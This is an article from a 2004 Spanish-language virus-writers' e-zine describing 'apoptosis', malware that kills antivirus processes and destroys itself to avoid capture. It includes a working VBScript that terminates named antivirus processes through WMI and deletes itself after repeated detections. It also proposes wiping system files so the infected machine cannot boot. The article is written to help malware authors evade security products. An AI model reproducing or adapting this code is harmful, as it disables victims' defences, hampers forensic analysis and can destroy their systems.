(C) MITOSIS #2 E-Zine/GEDZAC 2004 Tema: Apoptósis aplicada a los virus informáticos Autor: Falckon/GEDZAC Fecha: 3 Enero 2003 / 12:15 am ---------------------------------------------------------- -Introducción y Teoría: Antes que nada no estudio biología pero si tengo esta clase en la escuela, de hecho saco unos 8.6 en los exámenes. No soy QFB ni nada que se le paresca, pero a consecuencia de unos estudios y del interesante mundo de los virus tanto biologi- cos como informáticos me he decidido a escribir este artículo que me parece muy muy interesante aplicarlo a nuestro mundo. Definamos antes que nada Qué es la apoptosis? La Apoptósis es la muerte celular programada. Es un proceso celular geneticamente controlado por el que las células inducen su propia muerte en respuesta a determinados "estímulos", en otras palabras: "Suicidio Célular". Creo que ya no habrá necesidad de entrar más en teoría seguro ya ha quedado claro -Cómo y por qué se me ocurrió?: Bueno pues, hace ya un año salió un gusano (Winevar), bueno el caso es que este al detectar alguna ventana con tales strings intentaba inútilizar el sistema borrando todos sus archivos. Luego de unos estudios y lectura de interéstantes textos como "el virus perfecto" escrito por "M0n30" pues me dieron aún más ideas en especial sobre la autodes- trucción viral, simplemente no es por nada pero m0n30 no mencionaba el nombre real de esto en lo biologico. Unos meses después empecé con la creación de un virus parasito - gusano en VBS, Polimorfico y encriptado llamado SpielUhr, (a estas alturas él está en esta máquina no ha sido liberado solo se encuentra en mi Lab encerrado siendo sometido a pruebas) bueno este bicho como les comento se me ocurrió aplicar la apoptósis. Detecta los procesos Antivirales y ventanas de Antivirus Online en caso de encon- trar estas ultimas seleccionando de una lista de palabras no muy grande procede a cerrar cada una que encuentre en el caso de haber actuado esta función más de 10 veces el virus determinará que el usuario probablemente(y seguro) esté intentando scanear su máquina ya que habrá detectado la presencia de nuestra especie queriendo así poner fin a nuestro bebé, lo cual no logrará ya que este procederá a autoeliminarse borrando su código total mente de la máquina huesped y eliminan- do archivos DLL de la carpeta system, así pues spieluhr mataría a su huesped y se mataría el mismo solo como medio de protección y no de intención de dañar la máquina, yo a esto si le consideraría lamersada, ya que dañar sistemas así nomás sin ninguna razón es meramente estúpido al igual que hacerlo con algun animo de lucro o vengaza. Pero ahí no acaba la cosa yo hasta ese momento no sabía lo que andaba codeando, posiblemente por que soy un principiante y más por que no sé de biología (=P), simplemente mientras hacía unas pruebas con el polimorfismo del spieluhr olvidé encriptarlo (ya que esto es la base de su funcionamiento y mecanismo) lo cual ejecuté por que tenía unos errores y pues cometí ese gran error. Spieluhr terminó sobreescribiendose y dejando nada en su propio archivo, genial, spieluhr había cometido suicidio celular, ya que, al no poder funcionar su polimorfismo simplemente cometió el descaro de suicidarse, suerte la mía tenía una copia de seguridad hehe, pero sorprendido por lo que acababa de pasar fui corriendo a investigar con una persona, ella es Quimica Farmaco Biologa y no es por nada pero me explicó lo que Spieluhr acababa de hacer es entonces cuando ya surgió totalmente la idea de la apoptósis cybernetica. -Aplicación porqué y para qué?: Pero porqué aplicar la apoptósis en los virus informáticos? La respuesta es simple y como en los virus biologicos, sería responder a determi- nados estímulos, en este caso sería la defensa propia del virus, tal vez muchos coders experimentados esten encontra de esto ya que, de que sirve dotar a un virus de gran propagación si luego va a llegar a un huesped en el cual no vivirá mucho y se autodestruirá, esto no tendría sentido, pero si lo vemos por el lado el cual ya mencioné, la defensa, nos sería muy útil para evitar la caza del virus por parte del usuario tanto experimentado o de bajo nivel, ya que solo los que tengan un muy alto conocimiento pueden remover un virus en forma manual, la mayoría utilizará un antivirus. Por otra parte le daríamos una muerte digna al Virus, sin tener que morir en manos de un antivirus sería lo más justo, además con esto evitaríamos que nuestro bebé sea atrapado, es un juego entre la vida y la muerte, además de esto en la autodestrucción o Suicidio podríamos también no solo afectarnos, también afectar el sistema huesped, osea en el momento de detectar cualquier intento de detección el componente apoptotico de nuestro virus entraría en acción, buscaría su binario o su "célula" y procedería a la autodestrucción, sobreescribiendo el archivo con basura o eliminandolo, con eso bastaría para por ejemplo evitar que el usuario vaya por nuestro binario y lo envíe a una casa AV o simplemente en el peor de los casos limpiarlo... Como ya mencioné antes, podríamos también afectar el sistema huesped, destruyendo algunos archivos del sistema operativo y así haciendo imposible su arranque, así el virus se habría suicidado y también habría dado muerte a su alojador, lo cual sería imposible de atrapar o si quiera recuperar el código del virus, sé que a muchos coders les parecerá "lamer" el usar esto, ya que eliminar máquina es sino- nimo de baja reproducción y por lo tanto nuestro componente apoptotico solo sería usado en casos extremos. -Esquema: ------------- |spoolsv.exe| |svchost.exe| #################### Buscando Procesos/Antivirales |notepad.exe| # Virus # <----------------------------------> #PCScan.exe # #################### ^ ------------- | / | | / | | .-----------´ | | | | | ############# ---------------- | # Vir List # .-->| PCScan.exe | | # Mcafee.exe# | ---------------- '---------------- # Nod32.exe # | | # PCScan.exe#-' | ############# | | | ############# # Detected! # #AutoDefensa# ############# | | | ------------------- | |PCScan.exe Killed|<-------------' ------------------- | | ------------------ |Si X => 10 | ------------------ | | ###################### | # Virus Deleted # <---------' ###################### Este simple esquema demuestra la apoptósis, explicación: El virus busca procesos (tambien puede ser ventanas), en su código contiene una lista de procesos Antivirus, extrae los procesos corriendo y va comprobando si alguno de los que tiene se encuentra en ejecución si no es el caso vuelve a repetir el proceso esto debe hacerse por lo menos cada 10 segundos, en el caso contrario procederá a cerrar el proceso y llevar un contador de cuantas veces se ha detectado un proceso antiviral y si este es igual o mayor a 10 entonces el virus se autoeliminará no dejando rastro. Creo esto es sencillo y es una buena técnica de defensa antiviral. En mis dos años de codeo nunca he llegado a ver alguna forma de defensa viral, solo he llegado a ver técnicas de antieliminación y creo es hora de que si la técnología avanza, los virus evolucionen y poco a poco adquieran un poco de inteligencia. -Programando: Bueno pues ya os parecía aburrida la teoría? bueno pues vamos a meternos a codear, en principio había programado ejemplos en ensamblador para hacer más "interesante" este artículo pero por "problemas" y "criticas" he decidido basarme solamente en VB. He aquí un código en VBS para que entendais mejor la apoptósis: ';---------------------------inicio de codigo------------------------------; '// Apoptósis - La teoría de los retrovirus '// by Falckon/GeDzAC '// Example in VBS '// En este ejemplo demuestro la utilización de la apoptósis '// en vbs, buscando por procesos antivirales :D On Error Resume Next '/Control de errores (importante!) Dim gObject,iFor,Contador Do '/Inicio del Do Dormir(5000) '/esperamos 5 segundos, así logramos hacer un Timer '/Microsoft Windows Management Instrumentation (WMI) '/Hacemos un For para extraer todos los procesos For Each iFor in GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_Process") 'Llamamos a la funcion ProcesosAV pasandole el nombre del proceso If ProcesosAV(iFor.Name) = true Then '/Entonces ya que comprobamos que existe el AV terminamos su ejecución iFor.Terminate() '/Aumentamos Contador en uno Contador = Contador + 1 '/Si Contador es mayor a 10 entonces.. If Contador > 10 then Dim Fso Set Fso = CreateObject("Scripting.FileSystemObject") '/Autodestruimos nuestro script Fso.DeleteFile Wscript.ScriptFullName End if End if Next Loop Function Dormir(segundos) 'Function que duerme unos segundos el Do-Loop Wscript.Sleep(segundos) End Function Function ProcesosAv(ExE) '/Esta funcion busca los procesos puestos en un array '/y si alguno es igual al que se pasó a la funcion '/devuelve true Dim AVArray,FProcess '/Array con los nombrs de los procesos a buscar AVArray = Array("pqremove.com","nod32.exe","antivir.exe") '/Extraemos los nombres del array For Each FProcess in AVArray '/Si algun proceso es igual al que se extrajo entonces If FProcess = LCase(ExE) Then '/ProcesosAV es igual a verdadero / Detectado el antivirus! ProcesosAV = True Else '/ PrcesosAV es falso no hay nada ProcesosAV = False End if ' /Fin de IF next '/fin de next End Function '//nota: este ejemplo no es funcional en Win98 '//tested in WinXP build 2600 ';--------------------------fin de codigo------------------------------ este es un ejemplo practico y sencillo en VBS, creo que no hace falta explicación.... estudiadlo que así aprendeis. -Resumen. La apoptósis no es necesaria, pero si en buena forma para la autodefensa de la propia especie viral, para así evitar su eliminación por parte de los productos antivirales y creo que es mejor suicidarse a que ser eliminados por otros. También podemos utilizarla no solo como medio de defensa si no como medio para la destrucción de los datos, fines malevolos, en fin. (C) MITOSIS #2 E-Zine/GEDZAC 2004